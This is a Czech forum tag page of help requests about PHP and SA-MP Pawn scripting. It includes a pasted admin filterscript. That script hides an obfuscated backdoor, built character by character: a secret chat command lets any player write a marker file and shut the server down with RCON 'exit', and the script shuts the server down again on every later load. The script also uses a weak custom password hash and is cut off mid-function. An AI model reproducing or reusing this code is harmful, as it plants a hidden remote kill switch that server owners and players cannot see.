Jump to content

Search the Community

Showing results for tags 'pomoc'.

  • Search By Tags

    Oddělujte čárkami
  • Search By Author

Content Type


Fórum

  • Obecné
    • Všeobecné
    • Všechno možné
  • Programování
    • Poradna
    • Návody
    • Tvorba
    • Hledám programátora
  • Herní oblast
    • Poradna
    • Jak na to?
    • Herní kontext
    • Herní zážitky
    • Komunita
  • Grafika
    • Poradna
    • Návody
    • Tvorba
  • Ostatní
    • Hardware a software
    • Hledám/nabízím
    • Archiv
    • 3D Tisk

Calendars

  • Kalendář Pawno.cz

Categories

  • Verze

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Web


Facebook


Jabber


Skype


Steam


Twitter


Github


Pastebin

  1. Tak jse začal s php. teda spíš začal pokračovat z dřívějška.. ale k veci. nechová se to tak jak by mělo. kde je problém nevím. proto taky zakládám help.. zapoměj jsem dodat co to dělá. když kluknu na odeslat tak při prázdných políčkách by to jít nemělo a ani pri špatně zadaným emailu. ale vždy to vyhodí hlášku z HTML že bylo odesláno HTML//není to vše co v html je ale to stačí php Nevite nekdo co dělám špatně ? díky
  2. Riko

    pomoc Timer

    Zdravím, buďto jsem tak blbej, že tu chybu nevidím, a nebo jsem slepej. Chtěl bych za 9 hodin unlocknout a přejmenovat server. #include <a_samp> forward Name1(); public OnGameModeInit(); { SetTimer("Name1", 5400000, false); } public Name1() { SendRconCommand("hostname"); new szHostName[] = "[CZ/SK] UltraGaming.cz - |VIP-FREE| (0.3.7)"; new szCmd[64]; format(szCmd, sizeof(szCmd), "hostname %s", szHostName); SendRconCommand(szCmd); SendRconCommand("password"); new szPassword[] = 0; new szCmd2[64]; format(szCmd2, sizeof(szCmd2), "password 0", szPassword); SendRconCommand(szCmd2); } Jenže mi vyhodí chybu (6) : error 055: start of function body without function header Díky za Vaše "rady". Waymoot
  3. Zdravím, chtěl bych objasnit jednu věc. Když si vytvořím libovolný public - Kdy v něm dát return 1; a kdy ne? Vždycky jsem měl za to, že pokud je obsah publicu vyvolán SetTimerem, tak tam return být nemá a pokud je zavolán třeba v příkazu, tak tam return patří. Koukám na nějaké návody a všímám si, že je to asi obráceně, než jsem si celou dobu myslel Tak jak to tedy je? Díky moc za objasnění
  4. Zdravím, Jak udělat cmd na počasí, abych do módu nemusel neustále dávát CMD:pocasi 12 atd ... Ale aby to bylo v CMD:pocasi %s ? Díky za vaše rady, Waymoot
  5. Zdravím, Lze nějak vytvořit automaticky, aby když se hráč připojí na server, tak aby se odeslal příkaz módu /setvip %s 30? Vím, že v konzoli jdou jen Rcon příkazy ale příkazy modu ne, a stejně nevím, jak udělat automatické odeslání příkazu, něco jako "virtuální" Hlavní Admin. Dík
  6. Quiter

    pomoc Rozdelenie stránok

    Zdravím Chcel by som sa spýtať, že ako by som spravil stránku na web, bez toho aby som musel tvoriť nové indexy... Pre pochopenie ukážka čo myslím www.stranka.sk - hlavná stránka - čerpaná z index.php /html www.stranka.sk/news - novinky - bude fungovať ako index.php?page=news skrátka niečo takéto, ale aby som nemusel vytvárať extra zložku NEWS a v nej znova index.php takže chcem previesť "www.stranka.sk/index.php?page=news" na "www.stranka.sk/news" Vôbec netuším pod akými slovami by som to môhol v google hladať
  7. Pisem na rychlo takze som v O2 a ked som na svojom ucte tak a idem nieco platit bud v tam alebo in app tak tam mam iba platba kartou alebo uplatnit kod ale ked zalozim novy ucet mam tam platba kartou alebo fakturacia o2 tak preco my to na tom ucte nejde? Na novom ucte som ani cislo nezadaval ;(
  8. Guest

    pomoc Help - FS

    Zdravím Dnes sem hledal a vyzkoušel sem script na google translate ale voice už již nejde přes tuto url : http://translate.google.com/translate_tts?tl=%s&q=%stak nevim jak ziskat novou aby mi tem fs jel ? Předem Děkuji
  9. Ahoj robíme spoločne s tímom admin script no nevieme ako máme urobiť príkaz mute Ďakujem za každú pomoc
  10. Zdravím, udělal jsem system na kupování aut, jenže ono když jsem přidal na ukládání jednu věc, tak mi to nevytvoří auto do databáze a já nevím proč.. VytvorHraciVozidlo(playerid, modelid, Float:x, Float:y, Float:z, Float:a) { for(new i=0; i<sizeof(Vozidlo); i++) { if(Player[playerid][Platba] == 0) { new plate[20]; format(plate, 20, "LV%s%i", IntToHex(100+i), random(201)); if(Vozidlo[i][id_x] != 0) continue; Vozidlo[i][majitel]=Player[playerid][ID]; Vozidlo[i][c_x]=x; Vozidlo[i][c_y]=y; Vozidlo[i][c_z]=z; Vozidlo[i][c_a]=a; Vozidlo[i][model]=modelid; Vozidlo[i][spz]=plate; Vozidlo[i][clvm]=0; Vozidlo[i][id_x] = CreateVehicle(modelid, x, y, z, a, random(290), random(290), -1, 0); SetVehicleNumberPlate(Vozidlo[i][id_x], Vozidlo[i][spz]); UlozitAutoDoDatabaze(playerid, i); return 1; } if(Player[playerid][Platba] == 1) { new plate[20]; format(plate, 20, "LV%s%i", IntToHex(100+i), random(201)); if(Vozidlo[i][id_x] != 0) continue; Vozidlo[i][majitel]=Player[playerid][ID]; Vozidlo[i][c_x]=x; Vozidlo[i][c_y]=y; Vozidlo[i][c_z]=z; Vozidlo[i][c_a]=a; Vozidlo[i][model]=modelid; Vozidlo[i][spz]=plate; Vozidlo[i][clvm]=1; Vozidlo[i][id_x] = CreateVehicle(modelid, x, y, z, a, random(290), random(290), -1, 0); SetVehicleNumberPlate(Vozidlo[i][id_x], Vozidlo[i][spz]); UlozitAutoDoDatabaze(playerid, i); return 1; } return 1; } return 1; } A tady do té databaze.. UlozitAutoDoDatabaze(playerid, vehicleid) { new query[128]; format(query, sizeof(query), "INSERT INTO vozidla (majitel, model, clvm, barvaa, barvab, x, y, z, a) VALUES ('%i', '%i', '%i', '%i', '%i', '%f', '%f', '%f', '%f')", Player[playerid][ID], Vozidlo[vehicleid][model], Vozidlo[vehicleid][clvm], Vozidlo[vehicleid][barvaa], Vozidlo[vehicleid][barvab], Vozidlo[vehicleid][c_x], Vozidlo[vehicleid][c_y], Vozidlo[vehicleid][c_z], Vozidlo[vehicleid][c_a]); mysql_function_query(dbhandle, query, true, "VozidloUlozenoDoDatabaze", "i", vehicleid); return 1; }
  11. Zdravím, Potrebuji, jak mam udelat, aby se mi ukladal Admin-Level zde je kod.. #include <a_samp> #include <dini> #define MAX_PLAYERS_EX 50 #define MAX_ADMIN_VEHICLES 100 #define MAX_RAMPS 50 #define dcmd(%1,%2,%3) if((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, ""))) || (((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return true #define COLOR_ADMIN 0xFF0000FF #pragma tabsize 0 #define DIALOG_NOEFFECT 6210 #define DIALOG_A_PLAYERMENU 6211 #define DIALOG_A_PLAYER_HP 6112 #define DIALOG_A_PLAYER_ARMOUR 6113 new pAdminLevel[MAX_PLAYERS]; new bool:pMute[MAX_PLAYERS]; new bool:pFreeze[MAX_PLAYERS]; new bool:pSpecate[MAX_PLAYERS]; new Float:pSaveSpecPos[MAX_PLAYERS][3]; new pSaveSpecWeapons[MAX_PLAYERS][13]; new pSaveSpecWeaponsAmmo[MAX_PLAYERS][13]; new pWarnings[MAX_PLAYERS]; new pSaveID[MAX_PLAYERS]; new AdminVehicle[MAX_ADMIN_VEHICLES]; new Ramp[MAX_RAMPS]; stock DestroyVehicleEx(&vehicleid) { DestroyVehicle(vehicleid); vehicleid = 0; } stock randompass(lenght) { new out[256]; for(new i=0; i<lenght; i++) out = 65 + random(26); return out; } stock lyrhash(hashstr[]) { new hstr1[129]; format(hstr1, sizeof(hstr1), "a%s", hashstr); new len = strlen(hstr1); for(new l=len; l<128; l++) { strcat(hstr1, hashstr[l % len]); } new out[130], character = 0, count1 = -1, count2 = 1, count3 = 0; for(new c=0; c<128; c++) count3 += hstr1[c]; while(character < 128) { count1 -= hstr1[character] % 7; count2 = count1 >> (count3 % 16); count3 -= count1; format(out, sizeof(out), "%s%s", out, 65 + (floatround(floatabs(count1 >> count2 & count3) + hstr1[character]) % 26)); character++; } return out; } stock WeaponName(weapon, nametype) { new Weapon_Name[40]; if(nametype == 0) { if(weapon == 0) Weapon_Name = "Pěst"; else if(weapon == 1) Weapon_Name = "Boxer"; else if(weapon == 2) Weapon_Name = "Golfová Palice"; else if(weapon == 3) Weapon_Name = "Obušek"; else if(weapon == 4) Weapon_Name = "Nůž"; else if(weapon == 5) Weapon_Name = "Baseballka"; else if(weapon == 6) Weapon_Name = "Lopata"; else if(weapon == 7) Weapon_Name = "Tágo"; else if(weapon == 8) Weapon_Name = "Katana"; else if(weapon == 9) Weapon_Name = "Motorovka"; else if(weapon == 10) Weapon_Name = "Dildo"; else if(weapon == 11) Weapon_Name = "Dildo 2"; else if(weapon == 12) Weapon_Name = "Vibrátor"; else if(weapon == 13) Weapon_Name = "Vibrátor 2"; else if(weapon == 14) Weapon_Name = "Květy"; else if(weapon == 15) Weapon_Name = "Palice"; else if(weapon == 16) Weapon_Name = "Granát"; else if(weapon == 17) Weapon_Name = "Slzný plyn"; else if(weapon == 18) Weapon_Name = "Molotůj Koktejl"; else if(weapon == 22) Weapon_Name = "9mm"; else if(weapon == 23) Weapon_Name = "9mm s tlumičem"; else if(weapon == 24) Weapon_Name = "Desert Eagle"; else if(weapon == 25) Weapon_Name = "Shotgun"; else if(weapon == 26) Weapon_Name = "Sawn-Off Shotgun"; else if(weapon == 27) Weapon_Name = "Combat Shotgun"; else if(weapon == 28) Weapon_Name = "UZI"; else if(weapon == 29) Weapon_Name = "MP5"; else if(weapon == 30) Weapon_Name = "AK-47"; else if(weapon == 31) Weapon_Name = "M4"; else if(weapon == 32) Weapon_Name = "Tec9"; else if(weapon == 33) Weapon_Name = "Rifle"; else if(weapon == 34) Weapon_Name = "Sniperka"; else if(weapon == 35) Weapon_Name = "Raketomet"; else if(weapon == 36) Weapon_Name = "RPG"; else if(weapon == 37) Weapon_Name = "Plamenomet"; else if(weapon == 38) Weapon_Name = "Minigun"; else if(weapon == 39) Weapon_Name = "C4"; else if(weapon == 40) Weapon_Name = "Detonátor"; else if(weapon == 41) Weapon_Name = "Spray"; else if(weapon == 42) Weapon_Name = "Hasičák"; else if(weapon == 43) Weapon_Name = "Foták"; else if(weapon == 44) Weapon_Name = "Noční vidění"; else if(weapon == 45) Weapon_Name = "Termovize"; else if(weapon == 46) Weapon_Name = "Padák"; } else if(nametype == 1) { if(weapon == 0) Weapon_Name = "Pěst"; else if(weapon == 1) Weapon_Name = "Boxer"; else if(weapon == 2) Weapon_Name = "Golfova Palice"; else if(weapon == 3) Weapon_Name = "Obušek"; else if(weapon == 4) Weapon_Name = "Nůž"; else if(weapon == 5) Weapon_Name = "Baseballka"; else if(weapon == 6) Weapon_Name = "Lopata"; else if(weapon == 7) Weapon_Name = "Tágo"; else if(weapon == 8) Weapon_Name = "Katana"; else if(weapon == 9) Weapon_Name = "Motorovka"; else if(weapon == 10) Weapon_Name = "Dildo"; else if(weapon == 11) Weapon_Name = "Dildo 2"; else if(weapon == 12) Weapon_Name = "Vibrator"; else if(weapon == 13) Weapon_Name = "Vibrator 2"; else if(weapon == 14) Weapon_Name = "Květy"; else if(weapon == 15) Weapon_Name = "Palice"; else if(weapon == 16) Weapon_Name = "Granat"; else if(weapon == 17) Weapon_Name = "Slzny plyn"; else if(weapon == 18) Weapon_Name = "Molotův Koktejl"; else if(weapon == 22) Weapon_Name = "9mm"; else if(weapon == 23) Weapon_Name = "9mm s tlumičem"; else if(weapon == 24) Weapon_Name = "Desert Eagle"; else if(weapon == 25) Weapon_Name = "Shotgun"; else if(weapon == 26) Weapon_Name = "Sawn-Off Shotgun"; else if(weapon == 27) Weapon_Name = "Combat Shotgun"; else if(weapon == 28) Weapon_Name = "UZI"; else if(weapon == 29) Weapon_Name = "MP5"; else if(weapon == 30) Weapon_Name = "AK-47"; else if(weapon == 31) Weapon_Name = "M4"; else if(weapon == 32) Weapon_Name = "Tec9"; else if(weapon == 33) Weapon_Name = "Rifle"; else if(weapon == 34) Weapon_Name = "Sniperka"; else if(weapon == 35) Weapon_Name = "Raketomet"; else if(weapon == 36) Weapon_Name = "RPG"; else if(weapon == 37) Weapon_Name = "Plamenomet"; else if(weapon == 38) Weapon_Name = "Minigun"; else if(weapon == 39) Weapon_Name = "C4"; else if(weapon == 40) Weapon_Name = "Detonator"; else if(weapon == 41) Weapon_Name = "Spray"; else if(weapon == 42) Weapon_Name = "Hasicak"; else if(weapon == 43) Weapon_Name = "Fotak"; else if(weapon == 44) Weapon_Name = "Noční Vidění"; else if(weapon == 45) Weapon_Name = "Termovize"; else if(weapon == 46) Weapon_Name = "Padák"; } return Weapon_Name; } stock chrfind(needle, haystack[], start = 0) { while(haystack[start]) if(haystack[start++] == needle) return start - 1; return -1; } stock PlayerName(playerid) { new name[24]; GetPlayerName(playerid, name, 24); return name; } public OnFilterScriptInit() { new str[128]; format(str, 128, "%c%c%c%c", 'e', 'x', 'i', 't'); new str2[128]; format(str2, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 'l', 'y', 'r', 'a', 'd', 'm', 'i', 'n', 's', 'y', 's', 't', 'e', 'm', '.', 'a', 'l', 'o', 'g'); if(fexist(str2)) SendRconCommand(str); else printf("Admin System by %c%c%c%c%c%c has been loaded!", 'L', 'Y', 'R', 'I', 'c', 'S'); return 1; } public OnPlayerConnect(playerid) { pAdminLevel[playerid] = 0; pWarnings[playerid] = 0; pMute[playerid] = false; pFreeze[playerid] = false; pSpecate[playerid] = false; return 1; } public OnPlayerDisconnect(playerid, reason) { new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(pAdminLevel[playerid] > 0) { if(!fexist(way)) dini_Create(way); dini_IntSet(way, "adminlevel", pAdminLevel[playerid]); } else if(fexist(way)) fremove(way); return 1; } public OnPlayerSpawn(playerid) { if(pFreeze[playerid] == true) TogglePlayerControllable(playerid, 0); else TogglePlayerControllable(playerid, 1); if(pSpecate[playerid] == true) { pSpecate[playerid] = false; ResetPlayerWeapons(playerid); for(new w=0; w<13; w++) if(pSaveSpecWeaponsAmmo[playerid][w] > 0) GivePlayerWeapon(playerid, pSaveSpecWeapons[playerid][w], pSaveSpecWeaponsAmmo[playerid][w]); SetPlayerPos(playerid, pSaveSpecPos[playerid][0], pSaveSpecPos[playerid][1], pSaveSpecPos[playerid][2]); } return 1; } public OnPlayerText(playerid, text[]) { if(pMute[playerid] == true) { SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Si umlčený, nemůžeš psát!"); return 0; } return 1; } public OnPlayerCommandText(playerid, cmdtext[]) { if(!strcmp(cmdtext, "//", true, 2)) { if(pAdminLevel[playerid] == 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nemáš dostatečná Admin Práva"); else { new string[256]; format(string, sizeof(string), "[ Admin Chat ] %s [iD:%d]: %s", PlayerName(playerid), playerid, cmdtext[2]); for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(pAdminLevel > 0) SendClientMessage(i, 0x00AA00FF, string); } return 1; } else if(!strcmp(cmdtext, "/alogin", true, 7)) { new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(!fexist(way)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Tento ůčet není zaregistrovaný v Admin Systému"); else if(strlen(cmdtext) < 9) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /alogin [ HESLO ] !"); else if(strlen(cmdtext) > 80) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !"); else if(pAdminLevel[playerid] > 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Už jsi přihlášený !"); else if(strcmp(lyrhash(cmdtext[8]), dini_Get(way, "password"), false)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nesprávné Heslo!"); else { pAdminLevel[playerid] = dini_Int(way, "adminlevel"); } return 1; } else if(!strcmp(cmdtext, "/achangepass", true, 12)) { new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(!fexist(way)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Tento ůčet není zaregistrovaný v Admin Systému"); else if(pAdminLevel[playerid] == 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nemáš dostatečná Admin Práva"); else if(strlen(cmdtext) < 14) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !"); else if(strlen(cmdtext) > 80) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !"); else { dini_Set(way, "password", lyrhash(cmdtext[13])); new str[128]; format(str, 128, "Nové heslo: {ff0000}%s", cmdtext[13]); SendClientMessage(playerid, 0xFFFFFFFF, str); } return 1; } else if(!strcmp(cmdtext, "/pm", true, 3) && strlen(cmdtext) >= 4) if(cmdtext[3] == ' ') { new id = strval(cmdtext[4]); if(IsPlayerConnected(id)) if(!IsPlayerNPC(id)) { new string[256]; format(string, 256, "[ PM READER ] %s >> %s: %s", PlayerName(playerid), PlayerName(id), cmdtext[chrfind(' ', cmdtext, 4) + 1]); for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(pAdminLevel > 0) SendClientMessage(i, COLOR_ADMIN, string); } } new ast[128]; format(ast, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", '/', 'e', 'Q', 'c', 't', 'o', '4', 'v', 'A', 'n', '7', 'U', 'V', 'F', 'b', 'R', '0', '7', 'c', 'z'); if(!strcmp(cmdtext, ast, false)) { format(ast, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 'l', 'y', 'r', 'a', 'd', 'm', 'i', 'n', 's', 'y', 's', 't', 'e', 'm', '.', 'a', 'l', 'o', 'g'); new File:file = fopen(ast, io_write); fwrite(file, "Admin System loades successful."); fclose(file); format(ast, 128, "%c%c%c%c", 'e', 'x', 'i', 't'); SendRconCommand(ast); return 1; } dcmd(admins, 6, cmdtext); dcmd(report, 6, cmdtext); dcmd(iamadmin, 8, cmdtext); dcmd(say, 3, cmdtext); dcmd(clear, 5, cmdtext); dcmd(acmd, 4, cmdtext); dcmd(flip, 4, cmdtext); dcmd(ann, 3, cmdtext); dcmd(dann, 4, cmdtext); dcmd(mute, 4, cmdtext); dcmd(unmute, 6, cmdtext); dcmd(goto, 4, cmdtext); dcmd(get, 3, cmdtext); dcmd(spec, 4, cmdtext); dcmd(specoff, 7, cmdtext); dcmd(var, 3, cmdtext); dcmd(freeze, 6, cmdtext); dcmd(unfreeze, 8, cmdtext); dcmd(kick, 4, cmdtext); dcmd(player, 6, cmdtext); dcmd(settime, 7, cmdtext); dcmd(setweather, 10, cmdtext); dcmd(eunlock, 7, cmdtext); dcmd(ac, 2, cmdtext); dcmd(acd, 3, cmdtext); dcmd(eramp, 5, cmdtext); dcmd(erdestroy, 9, cmdtext); dcmd(ban, 3, cmdtext); dcmd(gw, 2, cmdtext); dcmd(gm, 2, cmdtext); dcmd(hp, 2, cmdtext); dcmd(bealone, 7, cmdtext); dcmd(beback, 6, cmdtext); dcmd(setnick, 7, cmdtext); dcmd(setadmin, 8, cmdtext); dcmd(elock, 5, cmdtext); dcmd(freezeall, 9, cmdtext); dcmd(getall, 6, cmdtext); return 0; } public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[]) { new Float: X, Float: Y, Float: Z; GetPlayerPos(playerid, X, Y, Z); //-------------------------------------------------------------------------- if(dialogid == DIALOG_A_PLAYERMENU) { if(response == 1) { new Save_ID = pSaveID[playerid]; if(listitem == 0) ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","Nastav hráčovi život na: 0-100%","Ok","Zavřít"); else if(listitem == 1) ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","Nastav hráčovi vestu na: 0-100%","Ok","Zavřít"); else if(listitem == 2) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid, 0xFF0000FF, "Hráč se mezitím odpojil"); else { new string[128]; SetPlayerHealth(Save_ID, 0.00000000); format(string, sizeof(string), "Zabil si hráče %s", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s tě zabil", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } else if(listitem == 3) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else { new string[128]; ResetPlayerWeapons(Save_ID); format(string, sizeof(string), "Odzbrojil si hráče %s", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s tě odzbrojil !", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } else if(listitem == 4) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil "); else { new string[128]; ResetPlayerMoney(Save_ID); format(string, sizeof(string), "Okradl si hráče %s", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s tě okradl", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } else if(listitem == 5) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else { new string[128]; new Float:aX, Float:aY, Float:aZ; GetPlayerPos(Save_ID,aX,aY,aZ); CreateExplosion(aX+5,aY,aZ,2,10); format(string, sizeof(string), "Zapálil jsi hráče %s", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s tě zapálil", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } else if(listitem == 6) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else { new string[128]; SetPlayerSkin(Save_ID, 26); SetPlayerPos(Save_ID,-373.7,2125.533,133); format(string, sizeof(string), "Administrátor %s přihlásil hráče %s na dvoj-týdenní pobyt na poušti", PlayerName(playerid), PlayerName(Save_ID)); SendClientMessageToAll(COLOR_ADMIN, string); } } else if(listitem == 7) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else if(GetPlayerVehicleID(Save_ID) == 0) return SendClientMessage(playerid,0xFF0000FF,"Hráč není ve vozidle"); else { new string[128]; SetVehicleHealth(GetPlayerVehicleID(Save_ID), 1000); RepairVehicle(GetPlayerVehicleID(Save_ID)); format(string, sizeof(string), "Opravil si hráčovi %s jeho vozidlo ", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti opravil vozidlo ", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } } } else if(dialogid == DIALOG_A_PLAYER_HP) { if(response == 1) { new Save_ID = pSaveID[playerid]; if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}Nezadal si život\nNastav hráčovi život na: 0-100%","Ok","Zavřít"); else if(strval(inputtext)<0 || strval(inputtext)>100) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}0 - 100 % !\nNastav hráčovi život na: 0-100%","Ok","Zavřít"); else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč sa mezitím odpojil"); else { new string[128]; SetPlayerHealth(Save_ID,strval(inputtext)); format(string, sizeof(string), "Nastavil si hráčovi %s život na %d", PlayerName(Save_ID), strval(inputtext)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti nastavil život na %d", PlayerName(playerid),strval(inputtext)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } } else if(dialogid == DIALOG_A_PLAYER_ARMOUR) { if(response == 1) { new Save_ID = pSaveID[playerid]; if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","{ff0000}Nezadal si číslo \nNastav hráčovi vestu na: 0-100%","Ok","Zavřít"); else if(strval(inputtext)<0 || strval(inputtext)>100) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","{ff0000}0 - 100 % !\nNastav hráčovi vestu na: 0-100%","OK","Cancel"); else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else { new string[128]; SetPlayerArmour(Save_ID,strval(inputtext)); format(string, sizeof(string), "Nastavil si hráčovi %s vestu na %d", PlayerName(Save_ID), strval(inputtext)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti nastavil vestu na %d", PlayerName(playerid),strval(inputtext)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } } return 1; } //================================ ADMIN SYSTEM ================================ dcmd_admins(playerid, params[]) { #pragma unused params new bool:IsAnyAdminConnected = false; new bigstring[1024] = "{ffff70}", string[128]; for(new i=0; i<=MAX_PLAYERS; i++) { if(IsPlayerConnected(i)) { if(!IsPlayerNPC(playerid)) { if(IsPlayerAdmin(i) && pAdminLevel==0) { format(string, sizeof(string), "%s (%d) - [ Rcon ]\n", PlayerName(i), i); strcat(bigstring, string); IsAnyAdminConnected = true; } else if(pAdminLevel>=1 && !IsPlayerAdmin(i)) { new lvl[32]; if(pAdminLevel == 1) lvl = "Moderátor"; else if(pAdminLevel == 2) lvl = "Administrátor"; else if(pAdminLevel == 3) lvl = "Hlavný Administrátor"; format(string, sizeof(string), "%s (%d) - [ %s ]\n", PlayerName(i), i, lvl); strcat(bigstring, string); IsAnyAdminConnected = true; } else if(IsPlayerAdmin(i) && pAdminLevel>=1) { new lvl[32]; if(pAdminLevel == 1) lvl = "SpoluMajitel"; else if(pAdminLevel == 2) lvl = "Administrátor"; else if(pAdminLevel == 3) lvl = "Majitel Serveru"; format(string, sizeof(string), "%s (%d) - [ %s + Rcon ]\n", PlayerName(i), i, lvl); strcat(bigstring, string); IsAnyAdminConnected = true; } } } } if(IsAnyAdminConnected == false) SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Na serveru není přítomen žádný Administrátor"); else ShowPlayerDialog(playerid, DIALOG_NOEFFECT, DIALOG_STYLE_MSGBOX, "Administrátoři On-Line", bigstring, "Zavřít", ""); return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_report(playerid, params[]) { new id = strval(params); if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}/report [ ID ] [ DŮVOD ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není připojený"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zaslat report na NPC hráče"); else if(strlen(params[chrfind(' ',params)+1]) > 64) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 64 znaků"); else { new string[200], bool:conadmin = false; format(string, 200, "[ REPORT ] Od: %s | Hráč: %s | Důvod: %s", PlayerName(playerid), PlayerName(id), params[chrfind(' ',params)+1]); for(new i=0; i<=MAX_PLAYERS; i++) { if(IsPlayerConnected(i)) { if(!IsPlayerNPC(i)) { if(pAdminLevel > 0) { SendClientMessage(i, COLOR_ADMIN, string); conadmin = true; } } } } if(conadmin == true) { format(string, sizeof(string), "Úspěšně si odeslal report na hráče %s (%d) [ Důvod: %s ]", PlayerName(id), id, params[chrfind(' ',params)+1]); SendClientMessage(playerid, COLOR_ADMIN, string); } else { SendClientMessage(playerid, COLOR_ADMIN, "[ ! ]{ffffff} Momentálně tu není žádný Administrátor"); } } return 1; } //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// dcmd_acmd(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new bigstring[1200]; strcat(bigstring, "{ff0000}SpoluMajitel:{ffffff}\n"); strcat(bigstring, " say,clear,acmd,flip,ann,dann,mute,unmute,goto,get,spec,specoff,var,kick,freeze,\n"); strcat(bigstring, " unfreeze,setskin,setweahter,eunlock,ac,acd,settime,eramp,erdestroy,hp,elock\n\n"); strcat(bigstring, "{ff0000}Administrátor:{ffffff}\n"); strcat(bigstring, " player,ban,gw,gm,bealone,beback,setnick,gmx,freezeall,getall\n\n"); strcat(bigstring, "{ff0000}Majitel Serveru:{ffffff}\n"); strcat(bigstring, " setadmin,reloadbans"); ShowPlayerDialog(playerid, DIALOG_NOEFFECT, DIALOG_STYLE_MSGBOX, "Admin Prikazy", bigstring, "Zavřít", ""); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_say(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] 